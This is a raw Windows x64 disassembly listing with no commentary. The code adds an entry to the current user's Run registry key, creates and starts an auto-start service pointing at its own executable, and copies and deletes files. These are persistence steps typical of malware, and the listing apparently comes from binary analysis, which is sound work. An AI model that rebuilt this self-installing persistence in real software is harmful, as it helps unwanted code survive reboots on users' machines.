lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x380]
call fcn.1400050d0
nop
mov rcx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x10]
cmp rcx, 0x10
jb 0x1400040a6
add r8, qword [rdi]
jmp 0x1400040af
add r8, rdi
cmp rcx, 0x10
jb 0x1400040b2
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp - 0x48]
call fcn.140004f80
mov rdi, rax
lea r8, [0x140017cdc]
lea rdx, [rbp + 0x3b0]
lea rcx, [rsp + 0x78]
call fcn.1400050d0
nop
mov r9, rdi
mov r8, rax
lea rcx, [rbp - 0x68]
call fcn.1400069f0
nop
mov qword [rbp + 0x350], r13
lea rax, [rbp + 0x350]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400041a9
mov eax, dword [rbp + 0x390]
lea eax, [rax*2 + 2]
lea rcx, [rbp + 0x380]
cmp qword [rbp + 0x398], 8
cmovae rcx, qword [rbp + 0x380]
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rdx, qword [rbp - 0x68]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x350]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000419a
lea rdx, str.Error_setting_registry_entry.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140004d60
lea rdx, [0x140004f40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rbp + 0x350]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400041cd
lea rdx, str.Error_opening_registry_key.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140004d60
lea rdx, [0x140004f40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x14000420d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004208
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400044d4
call fcn.1400143dc
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r13w
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x14000425f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000425a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400044db
call fcn.1400143dc
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r13w
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x1400042b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400044e2
call fcn.1400143dc
lea rdi, [rbp + 0x380]
cmp qword [rbp + 0x398], 8
cmovae rdi, qword [rbp + 0x380]
test rdi, rdi
jne 0x1400042f1
mov r8d, 0x104
lea rdx, [rbp + 0x660]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140004382
lea rdi, [rbp + 0x660]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140004382
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r9d, 0xf01ff
lea r8, [0x140017ce0]
lea rdx, [0x140017ce0]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
je 0x140004379
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, [rbp + 0x380]
cmp qword [rbp + 0x398], 8
cmovae rcx, qword [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x380]
cmp qword [rbp + 0x398], 8
cmovae rdx, qword [rbp + 0x380]
lea rcx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 8
cmovae rcx, qword [rbp + 0x3b0]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
nop
mov rdx, qword [rbp + 0x398]
cmp rdx, 8
jb 0x14000441d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004418
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400044e9
call fcn.1400143dc
mov qword [rbp + 0x390], r13
mov qword [rbp + 0x398], 7
mov word [rbp + 0x380], r13w
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 8
jb 0x14000447d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004478
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400044f0
call fcn.1400143dc
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
je 0x1400044ac
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x1400044a4
cmp rbx, qword [rax + 0x10]
jne 0x1400044a4
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140004491
mov rbx, rax
jmp 0x140004005
mov rbx, rax
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x140004005
nop dword [rax]
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x1400044c0
jmp 0x140004005
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 8
jb 0x140004540
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000453b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000453b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
mov qword [rbp + 0x3c0], r13
mov qword [rbp + 0x3c8], 7
mov word [rbp + 0x3b0], r13w
lea rcx, [rbp + 0x360]
call fcn.1400045f0
mov rcx, qword [rbp + 0x870]
xor rcx, rsp
call fcn.140014380
lea r11, [rsp + 0x9a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x400]
call fcn.1400028f0
nop
lea r8, [rbp + 0x30]
lea rcx, str.status
call fcn.140002880
nop
lea r8, [r14 + 0x20]
lea rcx, str.status
call fcn.140002880
int3
mov edx, eax
call fcn.140002790
nop
lea r8, [rbp + 0x50]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.140002880
int3